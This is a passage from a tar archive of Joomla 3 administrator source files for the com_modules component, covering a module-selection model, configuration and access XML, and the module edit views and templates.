						foreach ($xml->positions[0] as $position)
						{
							$value = (string) $position['value'];
							$label = (string) $position;

							if (!$value)
							{
								$value = $label;
								$label = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'TPL_' . $template->element . '_POSITION_' . $value);
								$altlabel = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'COM_MODULES_POSITION_' . $value);

								if (!$lang->hasKey($label) && $lang->hasKey($altlabel))
								{
									$label = $altlabel;
								}
							}

							if ($type == 'user' || ($state != '' && $state != $template->enabled))
							{
								unset($positions[$value]);
							}
							elseif (preg_match(chr(1) . $search . chr(1) . 'i', $value) && ($filter_template == '' || $filter_template == $template->element))
							{
								if (!isset($positions[$value]))
								{
									$positions[$value] = array();
								}

								$positions[$value][$template->name] = $label;
							}
						}
					}
				}
			}

			$this->total = count($positions);

			if ($limitstart >= $this->total)
			{
				$limitstart = $limitstart < $limit ? 0 : $limitstart - $limit;
				$this->setState('list.start', $limitstart);
			}

			if ($ordering == 'value')
			{
				if ($direction == 'asc')
				{
					ksort($positions);
				}
				else
				{
					krsort($positions);
				}
			}
			else
			{
				if ($direction == 'asc')
				{
					asort($positions);
				}
				else
				{
					arsort($positions);
				}
			}

			$this->items = array_slice($positions, $limitstart, $limit ?: null);
		}

		return $this->items;
	}

	/**
	 * Method to get the total number of items.
	 *
	 * @return  integer  The total number of items.
	 *
	 * @since   1.6
	 */
	public function getTotal()
	{
		if (!isset($this->total))
		{
			$this->getItems();
		}

		return $this->total;
	}
}
com_modules/models/select.php000060400000007674152455305310012342 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Module model.
 *
 * @since  1.6
 */
class ModulesModelSelect extends JModelList
{
	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication('administrator');

		// Load the filter state.
		$clientId = $app->getUserState('com_modules.modules.client_id', 0);
		$this->setState('client_id', (int) $clientId);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_modules');
		$this->setState('params', $params);

		// Manually set limits to get all modules.
		$this->setState('list.limit', 0);
		$this->setState('list.start', 0);
		$this->setState('list.ordering', 'a.name');
		$this->setState('list.direction', 'ASC');
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string    A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('client_id');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.extension_id, a.name, a.element AS module'
			)
		);
		$query->from($db->quoteName('#__extensions') . ' AS a');

		// Filter by module
		$query->where('a.type = ' . $db->quote('module'));

		// Filter by client.
		$clientId = $this->getState('client_id');
		$query->where('a.client_id = ' . (int) $clientId);

		// Filter by enabled
		$query->where('a.enabled = 1');

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Method to get a list of items.
	 *
	 * @return  mixed  An array of objects on success, false on failure.
	 */
	public function getItems()
	{
		// Get the list of items from the database.
		$items = parent::getItems();

		$client = JApplicationHelper::getClientInfo($this->getState('client_id', 0));
		$lang = JFactory::getLanguage();

		// Loop through the results to add the XML metadata,
		// and load language support.
		foreach ($items as &$item)
		{
			$path = JPath::clean($client->path . '/modules/' . $item->module . '/' . $item->module . '.xml');

			if (file_exists($path))
			{
				$item->xml = simplexml_load_file($path);
			}
			else
			{
				$item->xml = null;
			}

			// 1.5 Format; Core files or language packs then
			// 1.6 3PD Extension Support
			$lang->load($item->module . '.sys', $client->path, null, false, true)
				|| $lang->load($item->module . '.sys', $client->path . '/modules/' . $item->module, null, false, true);
			$item->name = JText::_($item->name);

			if (isset($item->xml) && $text = trim($item->xml->description))
			{
				$item->desc = JText::_($text);
			}
			else
			{
				$item->desc = JText::_('COM_MODULES_NODESCRIPTION');
			}
		}

		$items = ArrayHelper::sortObjects($items, 'name', 1, true, true);

		// TODO: Use the cached XML from the extensions table?

		return $items;
	}
}
com_modules/config.xml000060400000002236152455305310011043 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="modules"
		label="COM_MODULES_GENERAL"
		description="COM_MODULES_GENERAL_FIELDSET_DESC"
		>
		<field
			name="redirect_edit"
			type="list"
			class="advancedSelect"
			default="site"
			label="COM_MODULES_REDIRECT_EDIT_LABEL"
			description="COM_MODULES_REDIRECT_EDIT_DESC"
			>
			<option value="admin">JADMINISTRATOR</option>
			<option value="site">JSITE</option>
		</field>
	</fieldset>

	<fieldset
		name="admin_modules"
		label="COM_MODULES_ADMIN_LANG_FILTER_FIELDSET_LABEL"
		>
		<field
			name="adminlangfilter"
			type="radio"
			label="COM_MODULES_ADMIN_LANG_FILTER_LABEL"
			description="COM_MODULES_ADMIN_LANG_FILTER_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>
		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_modules"
			section="component"
		/>
	</fieldset>
</config>
com_modules/access.xml000060400000002473152455305310011042 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_modules">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
		<action name="module.edit.frontend" title="COM_MODULES_ACTION_EDITFRONTEND" description="COM_MODULES_ACTION_EDITFRONTEND_COMPONENT_DESC" />
	</section>
	<section name="module">
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
		<action name="module.edit.frontend" title="COM_MODULES_ACTION_EDITFRONTEND" description="COM_MODULES_ACTION_EDITFRONTEND_COMPONENT_DESC" />
	</section>
</access>com_modules/views/module/view.html.php000060400000005445152455305310014131 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a module.
 *
 * @since  1.6
 */
class ModulesViewModule extends JViewLegacy
{
	protected $form;

	protected $item;

	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');
		$this->canDo = JHelperContent::getActions('com_modules', 'module', $this->item->id);

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$user       = JFactory::getUser();
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));
		$canDo      = $this->canDo;

		JToolbarHelper::title(JText::sprintf('COM_MODULES_MANAGER_MODULE', JText::_($this->item->module)), 'cube module');

		// For new records, check the create permission.
		if ($isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::apply('module.apply');
			JToolbarHelper::save('module.save');
			JToolbarHelper::save2new('module.save2new');
			JToolbarHelper::cancel('module.cancel');
		}
		else
		{
			// Can't save the record if it's checked out.
			if (!$checkedOut)
			{
				// Since it's an existing record, check the edit permission.
				if ($canDo->get('core.edit'))
				{
					JToolbarHelper::apply('module.apply');
					JToolbarHelper::save('module.save');

					// We can save this record, but check the create permission to see if we can return to make a new one.
					if ($canDo->get('core.create'))
					{
						JToolbarHelper::save2new('module.save2new');
					}
				}
			}

			// If checked out, we can still save
			if ($canDo->get('core.create'))
			{
				JToolbarHelper::save2copy('module.save2copy');
			}

			JToolbarHelper::cancel('module.cancel', 'JTOOLBAR_CLOSE');
		}

		// Get the help information for the menu item.
		$lang = JFactory::getLanguage();

		$help = $this->get('Help');

		if ($lang->hasKey($help->url))
		{
			$debug = $lang->setDebug(false);
			$url = JText::_($help->url);
			$lang->setDebug($debug);
		}
		else
		{
			$url = null;
		}

		JToolbarHelper::help($help->key, false, $url);
	}
}
com_modules/views/module/view.json.php000060400000002030152455305310014121 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a module.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 * @since       3.2
 */
class ModulesViewModule extends JViewLegacy
{
	protected $item;

	protected $form;

	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$app = JFactory::getApplication();

		try
		{
			$this->item = $this->get('Item');
		}
		catch (Exception $e)
		{
			$app->enqueueMessage($e->getMessage(), 'error');

			return false;
		}

		$paramsList = $this->item->getProperties();

		unset($paramsList['xml']);

		$paramsList = json_encode($paramsList);

		return $paramsList;

	}
}
com_modules/views/module/tmpl/edit.php000060400000025414152455305310014113 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.combobox');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', '#jform_position', null, array('disable_search_threshold' => 0 ));
JHtml::_('formbehavior.chosen', '.multipleCategories', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_CATEGORY')));
JHtml::_('formbehavior.chosen', '.multipleTags', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_TAG')));
JHtml::_('formbehavior.chosen', '.multipleAuthors', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_AUTHOR')));
JHtml::_('formbehavior.chosen', '.multipleAuthorAliases', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_AUTHOR_ALIAS')));
JHtml::_('formbehavior.chosen', 'select');

$hasContent = isset($this->item->xml->customContent);
$hasContentFieldName = 'content';

// For a later improvement
if ($hasContent)
{
	$hasContentFieldName = 'content';
}

// Get Params Fieldsets
$this->fieldsets = $this->form->getFieldsets('params');

$script = "
	Joomla.submitbutton = function(task) {
			if (task == 'module.cancel' || document.formvalidator.isValid(document.getElementById('module-form')))
			{
";
if ($hasContent)
{
	$script .= $this->form->getField($hasContentFieldName)->save();
}
$script .= "
			Joomla.submitform(task, document.getElementById('module-form'));

				jQuery('#permissions-sliders select').attr('disabled', 'disabled');

				if (self != top)
				{
					if (parent.viewLevels)
					{
						var updPosition = jQuery('#jform_position').chosen().val(),
							updTitle = jQuery('#jform_title').val(),
							updMenus = jQuery('#jform_assignment').chosen().val(),
							updStatus = jQuery('#jform_published').chosen().val(),
							updAccess = jQuery('#jform_access').chosen().val(),
							tmpMenu = jQuery('#menus-" . $this->item->id . "', parent.document),
							tmpRow = jQuery('#tr-" . $this->item->id . "', parent.document);
							tmpStatus = jQuery('#status-" . $this->item->id . "', parent.document);
							window.parent.inMenus = new Array();
							window.parent.numMenus = jQuery(':input[name=\"jform[assigned][]\"]').length;

						jQuery('input[name=\"jform[assigned][]\"]').each(function(){
							if (updMenus > 0 )
							{
								if (jQuery(this).is(':checked'))
								{
									window.parent.inMenus.push(parseInt(jQuery(this).val()));
								}
							}
							if (updMenus < 0 )
							{
								if (!jQuery(this).is(':checked'))
								{
									window.parent.inMenus.push(parseInt(jQuery(this).val()));
								}
							}
						});
						if (updMenus == 0) {
							tmpMenu.html('<span class=\"label label-info\">" . JText::_('JALL') . "</span>');
							if (tmpRow.hasClass('no')) { tmpRow.removeClass('no '); }
						}
						if (updMenus == '-') {
							tmpMenu.html('<span class=\"label label-important\">" . JText::_('JNO') . "</span>');
							if (!tmpRow.hasClass('no') || tmpRow.hasClass('')) { tmpRow.addClass('no '); }
						}
						if (updMenus > 0) {
							if (window.parent.inMenus.indexOf(parent.menuId) >= 0)
							{
								if (window.parent.numMenus == window.parent.inMenus.length)
								{
									tmpMenu.html('<span class=\"label label-info\">" . JText::_('JALL') . "</span>');
									if (tmpRow.hasClass('no') || tmpRow.hasClass('')) { tmpRow.removeClass('no'); }
								}
								else
								{
									tmpMenu.html('<span class=\"label label-success\">" . JText::_('JYES') . "</span>');
									if (tmpRow.hasClass('no')) { tmpRow.removeClass('no'); }
								}
							}
							if (window.parent.inMenus.indexOf(parent.menuId) < 0)
							{
								tmpMenu.html('<span class=\"label label-important\">" . JText::_('JNO') . "</span>');
								if (!tmpRow.hasClass('no')) { tmpRow.addClass('no'); }
							}
						}
						if (updMenus < 0) {
							if (window.parent.inMenus.indexOf(parent.menuId) >= 0)
							{
								if (window.parent.numMenus == window.parent.inMenus.length)
								{
									tmpMenu.html('<span class=\"label label-info\">" . JText::_('JALL') . "</span>');
									if (tmpRow.hasClass('no')) { tmpRow.removeClass('no'); }
								}
								else
								{
									tmpMenu.html('<span class=\"label label-success\">" . JText::_('JYES') . "</span>');
									if (tmpRow.hasClass('no')) { tmpRow.removeClass('no'); }
								}
							}
							if (window.parent.inMenus.indexOf(parent.menuId) < 0)
							{
								tmpMenu.html('<span class=\"label label-important\">" . JText::_('JNO') . "</span>');
								if (!tmpRow.hasClass('no') || tmpRow.hasClass('')) { tmpRow.addClass('no'); }
							}
						}
						if (updStatus == 1) {
							tmpStatus.html('<span class=\"label label-success\">" . JText::_('JYES') . "</span>');
							if (tmpRow.hasClass('unpublished')) { tmpRow.removeClass('unpublished '); }
						}
						if (updStatus == 0) {
							tmpStatus.html('<span class=\"label label-important\">" . JText::_('JNO') . "</span>');
							if (!tmpRow.hasClass('unpublished') || tmpRow.hasClass('')) { tmpRow.addClass('unpublished'); }
						}
						if (updStatus == -2) {
							tmpStatus.html('<span class=\"label label-default\">" . JText::_('JTRASHED') . "</span>');
							if (!tmpRow.hasClass('unpublished') || tmpRow.hasClass('')) { tmpRow.addClass('unpublished'); }
						}
						if (document.formvalidator.isValid(document.getElementById('module-form'))) {
							jQuery('#title-" . $this->item->id . "', parent.document).text(updTitle);
							jQuery('#position-" . $this->item->id . "', parent.document).text(updPosition);
							jQuery('#access-" . $this->item->id . "', parent.document).html(parent.viewLevels[updAccess]);
						}
					}
				}

				if (task !== 'module.apply')
				{
					window.parent.jQuery('#module" . ((int) $this->item->id == 0 ? 'Add' : 'Edit' . (int) $this->item->id) . "Modal').modal('hide');
				}
			}
	};";

JFactory::getDocument()->addScriptDeclaration($script);

$input = JFactory::getApplication()->input;

// In case of modal
$isModal = $input->get('layout') == 'modal' ? true : false;
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo JRoute::_('index.php?option=com_modules&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="module-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'general')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', JText::_('COM_MODULES_MODULE')); ?>

		<div class="row-fluid">
			<div class="span9">
				<?php if ($this->item->xml) : ?>
					<?php if ($this->item->xml->description) : ?>
						<h2>
							<?php
							if ($this->item->xml)
							{
								echo ($text = (string) $this->item->xml->name) ? JText::_($text) : $this->item->module;
							}
							else
							{
								echo JText::_('COM_MODULES_ERR_XML');
							}
							?>
						</h2>
						<div class="info-labels">
							<span class="label hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_MODULES_FIELD_CLIENT_ID_LABEL'); ?>">
								<?php echo $this->item->client_id == 0 ? JText::_('JSITE') : JText::_('JADMINISTRATOR'); ?>
							</span>
						</div>
						<div>
							<?php
							$short_description = JText::_($this->item->xml->description);
							$this->fieldset = 'description';
							$long_description = JLayoutHelper::render('joomla.edit.fieldset', $this);
							if (!$long_description) {
								$truncated = JHtml::_('string.truncate', $short_description, 550, true, false);
								if (strlen($truncated) > 500) {
									$long_description = $short_description;
									$short_description = JHtml::_('string.truncate', $truncated, 250);
									if ($short_description == $long_description) {
										$long_description = '';
									}
								}
							}
							?>
							<p><?php echo $short_description; ?></p>
							<?php if ($long_description) : ?>
								<p class="readmore">
									<a href="#" onclick="jQuery('.nav-tabs a[href=\'#description\']').tab('show');">
										<?php echo JText::_('JGLOBAL_SHOW_FULL_DESCRIPTION'); ?>
									</a>
								</p>
							<?php endif; ?>
						</div>
					<?php endif; ?>
				<?php else : ?>
					<div class="alert alert-error"><?php echo JText::_('COM_MODULES_ERR_XML'); ?></div>
				<?php endif; ?>
				<?php
				if ($hasContent)
				{
					echo $this->form->getInput($hasContentFieldName);
				}
				$this->fieldset = 'basic';
				$html = JLayoutHelper::render('joomla.edit.fieldset', $this);
				echo $html ? '<hr />' . $html : '';
				?>
			</div>
			<div class="span3">
				<fieldset class="form-vertical">
					<?php echo $this->form->renderField('showtitle'); ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('position'); ?>
						</div>
						<div class="controls">
							<?php echo $this->loadTemplate('positions'); ?>
						</div>
					</div>
				</fieldset>
				<?php
				// Set main fields.
				$this->fields = array(
					'published',
					'publish_up',
					'publish_down',
					'access',
					'ordering',
					'language',
					'note'
				);

				?>
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php if (isset($long_description) && $long_description != '') : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'description', JText::_('JGLOBAL_FIELDSET_DESCRIPTION')); ?>
			<?php echo $long_description; ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php if ($this->item->client_id == 0) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'assignment', JText::_('COM_MODULES_MENU_ASSIGNMENT')); ?>
			<?php echo $this->loadTemplate('assignment'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php
		$this->fieldsets = array();
		$this->ignore_fieldsets = array('basic', 'description');
		echo JLayoutHelper::render('joomla.edit.params', $this);
		?>

		<?php if ($this->canDo->get('core.admin')) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'permissions', JText::_('COM_MODULES_FIELDSET_RULES')); ?>
			<?php echo $this->form->getInput('rules'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>

		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
		<?php echo $this->form->getInput('module'); ?>
		<?php echo $this->form->getInput('client_id'); ?>
	</div>
</form>
com_modules/views/module/tmpl/edit_assignment.php000060400000015315152455305310016342 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Initialise related data.
JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');
$menuTypes = MenusHelper::getMenuLinks();

JHtml::_('script', 'jui/treeselectmenu.jquery.min.js', array('version' => 'auto', 'relative' => true));

$script = "
	jQuery(document).ready(function()
	{
		menuHide(jQuery('#jform_assignment').val());
		jQuery('#jform_assignment').change(function()
		{
			menuHide(jQuery(this).val());
		})
	});
	function menuHide(val)
	{
		if (val == 0 || val == '-')
		{
			jQuery('#menuselect-group').hide();
		}
		else
		{
			jQuery('#menuselect-group').show();
		}
	}
";

// Add the script to the document head
JFactory::getDocument()->addScriptDeclaration($script);
?>
<div class="control-group">
	<label id="jform_menus-lbl" class="control-label" for="jform_menus"><?php echo JText::_('COM_MODULES_MODULE_ASSIGN'); ?></label>

	<div id="jform_menus" class="controls">
		<select name="jform[assignment]" id="jform_assignment">
			<?php echo JHtml::_('select.options', ModulesHelper::getAssignmentOptions($this->item->client_id), 'value', 'text', $this->item->assignment, true); ?>
		</select>
	</div>
</div>
<div id="menuselect-group" class="control-group">
	<label id="jform_menuselect-lbl" class="control-label" for="jform_menuselect"><?php echo JText::_('JGLOBAL_MENU_SELECTION'); ?></label>

	<div id="jform_menuselect" class="controls">
		<?php if (!empty($menuTypes)) : ?>
		<?php $id = 'jform_menuselect'; ?>

		<div class="well well-small">
			<div class="form-inline">
				<span class="small"><?php echo JText::_('JSELECT'); ?>:
					<a id="treeCheckAll" href="javascript://"><?php echo JText::_('JALL'); ?></a>,
					<a id="treeUncheckAll" href="javascript://"><?php echo JText::_('JNONE'); ?></a>
				</span>
				<span class="width-20">|</span>
				<span class="small"><?php echo JText::_('COM_MODULES_EXPAND'); ?>:
					<a id="treeExpandAll" href="javascript://"><?php echo JText::_('JALL'); ?></a>,
					<a id="treeCollapseAll" href="javascript://"><?php echo JText::_('JNONE'); ?></a>
				</span>
				<input type="text" id="treeselectfilter" name="treeselectfilter" class="input-medium search-query pull-right" size="16"
					autocomplete="off" placeholder="<?php echo JText::_('JSEARCH_FILTER'); ?>" aria-invalid="false" tabindex="-1">
			</div>

			<div class="clearfix"></div>

			<hr class="hr-condensed" />

			<ul class="treeselect">
				<?php foreach ($menuTypes as &$type) : ?>
				<?php if (count($type->links)) : ?>
					<?php $prevlevel = 0; ?>
					<li>
						<div class="treeselect-item pull-left">
							<label class="pull-left nav-header"><?php echo $type->title; ?></label></div>
					<?php foreach ($type->links as $i => $link) : ?>
						<?php
						if ($prevlevel < $link->level)
						{
							echo '<ul class="treeselect-sub">';
						} elseif ($prevlevel > $link->level)
						{
							echo str_repeat('</li></ul>', $prevlevel - $link->level);
						} else {
							echo '</li>';
						}
						$selected = 0;
						if ($this->item->assignment == 0)
						{
							$selected = 1;
						} elseif ($this->item->assignment < 0)
						{
							$selected = in_array(-$link->value, $this->item->assigned);
						} elseif ($this->item->assignment > 0)
						{
							$selected = in_array($link->value, $this->item->assigned);
						}
						?>
							<li>
								<div class="treeselect-item pull-left">
									<?php
									$uselessMenuItem = in_array($link->type, array('separator', 'heading', 'alias', 'url'));
									?>
									<input type="checkbox" class="pull-left novalidate" name="jform[assigned][]" id="<?php echo $id . $link->value; ?>" value="<?php echo (int) $link->value; ?>"<?php echo $selected ? ' checked="checked"' : ''; echo $uselessMenuItem ? ' disabled="disabled"' : ''; ?> />
									<label for="<?php echo $id . $link->value; ?>" class="pull-left">
										<?php echo $link->text; ?> <span class="small"><?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($link->alias)); ?></span>
										<?php if (JLanguageMultilang::isEnabled() && $link->language != '' && $link->language != '*') : ?>
											<?php if ($link->language_image) : ?>
												<?php echo JHtml::_('image', 'mod_languages/' . $link->language_image . '.gif', $link->language_title, array('title' => $link->language_title), true); ?>
											<?php else : ?>
												<?php echo '<span class="label" title="' . $link->language_title . '">' . $link->language_sef . '</span>'; ?>
											<?php endif; ?>
										<?php endif; ?>
										<?php if ($link->published == 0) : ?>
											<?php echo ' <span class="label">' . JText::_('JUNPUBLISHED') . '</span>'; ?>
										<?php endif; ?>
										<?php if ($uselessMenuItem) : ?>
											<?php echo ' <span class="label">' . JText::_('COM_MODULES_MENU_ITEM_' . strtoupper($link->type)) . '</span>'; ?>
										<?php endif; ?>
									</label>
								</div>
						<?php

						if (!isset($type->links[$i + 1]))
						{
							echo str_repeat('</li></ul>', $link->level);
						}
						$prevlevel = $link->level;
						?>
						<?php endforeach; ?>
					</li>
					<?php endif; ?>
				<?php endforeach; ?>
			</ul>
			<div id="noresultsfound" style="display:none;" class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
			<div style="display:none;" id="treeselectmenu">
				<div class="pull-left nav-hover treeselect-menu">
					<div class="btn-group">
						<a href="#" data-toggle="dropdown" class="dropdown-toggle btn btn-micro">
							<span class="caret"></span>
						</a>
						<ul class="dropdown-menu">
							<li class="nav-header"><?php echo JText::_('COM_MODULES_SUBITEMS'); ?></li>
							<li class="divider"></li>
							<li class=""><a class="checkall" href="javascript://"><span class="icon-checkbox" aria-hidden="true"></span> <?php echo JText::_('JSELECT'); ?></a>
							</li>
							<li><a class="uncheckall" href="javascript://"><span class="icon-checkbox-unchecked" aria-hidden="true"></span> <?php echo JText::_('COM_MODULES_DESELECT'); ?></a>
							</li>
							<div class="treeselect-menu-expand">
							<li class="divider"></li>
							<li><a class="expandall" href="javascript://"><span class="icon-plus" aria-hidden="true"></span> <?php echo JText::_('COM_MODULES_EXPAND'); ?></a></li>
							<li><a class="collapseall" href="javascript://"><span class="icon-minus" aria-hidden="true"></span> <?php echo JText::_('COM_MODULES_COLLAPSE'); ?></a></li>
							</div>
						</ul>
					</div>
				</div>
			</div>
		</div>
		<?php endif; ?>
	</div>
</div>
com_modules/views/module/tmpl/modal.php000060400000001415152455305310014255 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('module.apply');"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('module.save');"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('module.cancel');"></button>

<div class="container-popup">
	<?php $this->setLayout('edit'); ?>
	<?php echo $this->loadTemplate(); ?>
</div>
com_modules/views/module/tmpl/edit_positions.php000060400000002223152455305310016213 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('TemplatesHelper', JPATH_ADMINISTRATOR . '/components/com_templates/helpers/templates.php');

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$clientId       = $this->item->client_id;
$state          = 1;
$selectedPosition = $this->item->position;
$positions = JHtml::_('modules.positions', $clientId, $state, $selectedPosition);


// Add custom position to options
$customGroupText = JText::_('COM_MODULES_CUSTOM_POSITION');

// Build field
$attr = array(
	'id'          => 'jform_position',
	'list.select' => $this->item->position,
	'list.attr'   => 'class="chzn-custom-value" '
	. 'data-custom_group_text="' . $customGroupText . '" '
	. 'data-no_results_text="' . JText::_('COM_MODULES_ADD_CUSTOM_POSITION') . '" '
	. 'data-placeholder="' . JText::_('COM_MODULES_TYPE_OR_SELECT_POSITION') . '" '
);

echo JHtml::_('select.groupedlist', $positions, 'jform[position]', $attr);
com_modules/views/module/tmpl/edit_options.php000060400000002461152455305310015663 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php
	echo JHtml::_('bootstrap.startAccordion', 'moduleOptions', array('active' => 'collapse0'));
	$fieldSets = $this->form->getFieldsets('params');
	$i = 0;

	foreach ($fieldSets as $name => $fieldSet) :
		$label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MODULES_' . $name . '_FIELDSET_LABEL';
		$class = isset($fieldSet->class) && !empty($fieldSet->class) ? $fieldSet->class : '';

